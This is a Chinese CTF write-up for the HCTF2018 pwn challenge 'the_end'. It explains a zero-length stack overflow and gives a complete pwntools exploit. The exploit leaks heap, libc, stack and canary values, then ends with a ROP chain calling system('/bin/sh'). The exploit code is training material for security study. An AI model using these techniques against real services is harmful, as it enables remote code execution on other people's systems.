HCTF2018_the_end

1.常规checksec,保护全开。IDA打开找漏洞,在sub_BF0()函数,即读入name的函数中存在栈溢出漏洞:

img

利用结构体重整化

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

struct project{
int length;
char name[length];
int check;
int price;
int area;
int capactity;
}project;

struct project* projects[0x10];

由于length是由用户输入影响的,那么结构体的大小也是不固定的,所以提出来固定的形成project_behind结构体方便查看:

1
2
3
4
5
6
7
8
#注释头

struct project_behind{
int check;
int price;
int area;
int capactity;
}project_behind;

得到如下:

img

其实际意义就是读入length-1个字节,然后将最后一个字节设置为\x00。但是这里没有检查data_length,即如果传入的length为0,那么data_length由于是int类型,而i也是int类型,那么i从0开始加需要加0xfffff…..这么多才会抵达-1,相当于可以读入任意长度的字符串,造成栈溢出。

2.栈溢出,保护全开,canary把着栈溢出的口子,所以得先想办法泄露canary。

(1)题目虽然打印了name,但是打印的是堆上的name,没办法利用name连上canary来泄露。

(2)足够长的栈溢出,但是没有这个进程是fork创建,而不是进程pthread创建,所以没办法溢出足够长来覆盖TSL中的canary。

那么既然能控制栈,就从栈上入手,寻找add函数栈上的有用数据:

1
2
3
4
5
6
7
#注释头

char *project; // [rsp+6Ah] [rbp-3Eh]
-------------------------------------------------------------------
project = malloc(length + 21LL);
--------------------------------------------------------------------
projects[idx] = project;

可以看到对IDA重整化之后的内容中,project变量位于栈上,里面保存着project这个chunk的首地址,最后会被放入projects这个数组中。所以如果我们修改掉project变量的内容,将其指向其它的地址,那就实现任意地址可写了。

3.但是这里保护全开,一个有用地址都没有。可以注意到project变量最后会保存一个堆地址,由于大端序,如果我们将这个堆地址的最后一个字节变成\x00,那么这个chunk就会指向第一个chunk,也就是project[0],如果第一个chunk处于释放状态,就可以通过程序的view函数来将这个chunk的fd指针打印出来。

4.由于使用溢出的前提条件是length为0,所以malloc(21)对应chunk大小为0x20,释放后会进入fastbins中,fastbins中chunk的fd保存下一个chunk的头地址。那么就可以打印出fd上的内容,泄露出堆地址。

5.现在可以控制堆内容了,那么通过正常手段申请几个chunk,在里面构造一个fakechunk,之后利用溢出漏洞控制这个fakechunk,将其释放掉,使其进入unsortedbin中。再利用溢出漏洞控制这个被释放的fakechunk,打印出其fd指针,就是main_aren+88的地址,从而泄露Libc地址。

6.现在有了libc地址和栈溢出,需要突破canary,突破口是environ这个变量。environ这个变量从程序加载时保存在libc数据段上,但是它的内容保存的是栈地址,所以我们就可以通过溢出漏洞打印出environ中的栈地址。得到栈地址之后就可以用gdb计算偏移,选取view函数栈上的canary,再利用溢出漏洞打印出canary的值。

7.之后有了libc,canary,栈溢出,就是常规的getshell了。

8.编写exp:

(1)前置增删改查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def start_proj(length, name, price, area, capacity):
io.sendlineafter("Exit\n", '1')
io.sendlineafter("name: ", str(length))
io.sendlineafter("name: ", name)
io.sendlineafter("price: ", str(price))
io.sendlineafter("area: ", str(area))
io.sendlineafter("capacity: ", str(capacity))

def view_proj():
io.sendlineafter("Exit\n", '2')

def cancel_proj(idx):
io.sendlineafter("Exit\n", '4')
io.sendlineafter("number: ", str(idx))

(2)泄露堆地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头 

def leak_heap():
global heap_base

start_proj(0, 'A', 1, 1, 1) #chunk0
start_proj(0, 'A'*0x5a, 1, 1, 1) #chunk1
#溢出一个字节,修改栈上project的最后一个字节为\x00,使其指向chunk0
start_proj(0, 'A', 1, 1, 1) #chunk2
cancel_proj(2)
cancel_proj(0)

view_proj()
#打印chunk1就相当于打印chunk0的内容,其中包含fd指针部分内容

io.recvuntil("Capacity: ")
leak = int(io.recvline()[:-1], 10) & 0xffffffff
heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
#由于程序的关系,只能打印出0x55之后的内容,共4个字节,由于堆地址高位一般都是0x55或0x56,所以直接加上即可,最后还得乘上0x100,因为没有泄露出来,需要调试看看。

log.info("heap base: 0x%x" % heap_base)

(3)泄露libc地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#注释头 

def leak_libc():
global libc_base

start_proj(0xf, 'A', 0xd1, 0, 0x64) #chunk0
#chunk0用来修改fakechunk的size位为0xd1,占位0x30,位于heap_base+0x60

start_proj(0x50, '\x01', 1, 1, 1) #chunk2
#chunk2占位0x70用,位于heap_base+0x90,'\x01'不知道干啥的,'\x00'随便啥都可以

start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) #chunk3
#chunk3用来修改fakechunk的size位,占位0x70,位于heap_base+0x100

start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) #chunk4
#chunk4修改chunk4指向heap_base+0x90,占位0x20,位于heap_base

start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) #chunk5
#chunk5占位0x20,修改chunk5指向heap_base+0x8b,位于heap_base+0x40

#将fakechunk放入unsortedbin中
cancel_proj(4)

#获得libc地址
view_proj()

#由于一次只能泄露4个字节,所以需要两部分拼接
for i in range(5):
io.recvuntil("Area: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Capacity: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
libc_base = leak_low + (leak_high<<32) - 0x3c3b78

log.info("libc base: 0x%x" % libc_base)

①chunk0中的0x64用来过程序中删除project函数的检查:

if ( *(project + *project + 5) != 1 )

只要计算之后check为1即可,实测0x60也可以。

②chunk3中的\x21为了过glibc中的检查。

③chunk5为了填满之前的索引为2的project,方便之后运作。

(4)泄露canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#注释头 

def leak_stack_canary():
global canary

environ_addr = libc.symbols['__environ'] + libc_base
log.info("__environ address: 0x%x" % environ_addr)

start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4

view_proj()
for i in range(5):
io.recvuntil("Price: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Area: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
stack_addr = leak_low + (leak_high<<32)
canary_addr = stack_addr - 0x130

log.info("stack address: 0x%x" % stack_addr)
log.info("canary address: 0x%x" % canary_addr)

start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6

view_proj()
for i in range(7):
io.recvuntil("Project: ")
canary = (u64(io.recvline()[:-1] + "\x00"))<<8

log.info("canary: 0x%x" % canary)

(5)栈溢出覆盖返回地址为system,pop rdi传参getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头 

pop_rdi_ret = libc_base + 0x21102
bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
system_addr = libc_base + libc.symbols['system']

payload = "A" * 0x68
payload += p64(canary) # canary
payload += "A" * 0x28
payload += p64(pop_rdi_ret) # return address
payload += p64(bin_sh)
payload += p64(system_addr) # system("/bin/sh")

start_proj(0, payload, 1, 1, 1)

io.interactive()

▲这道题需要很多调试的地方,容易头大崩溃。

参考资料:

ctf-all-in-one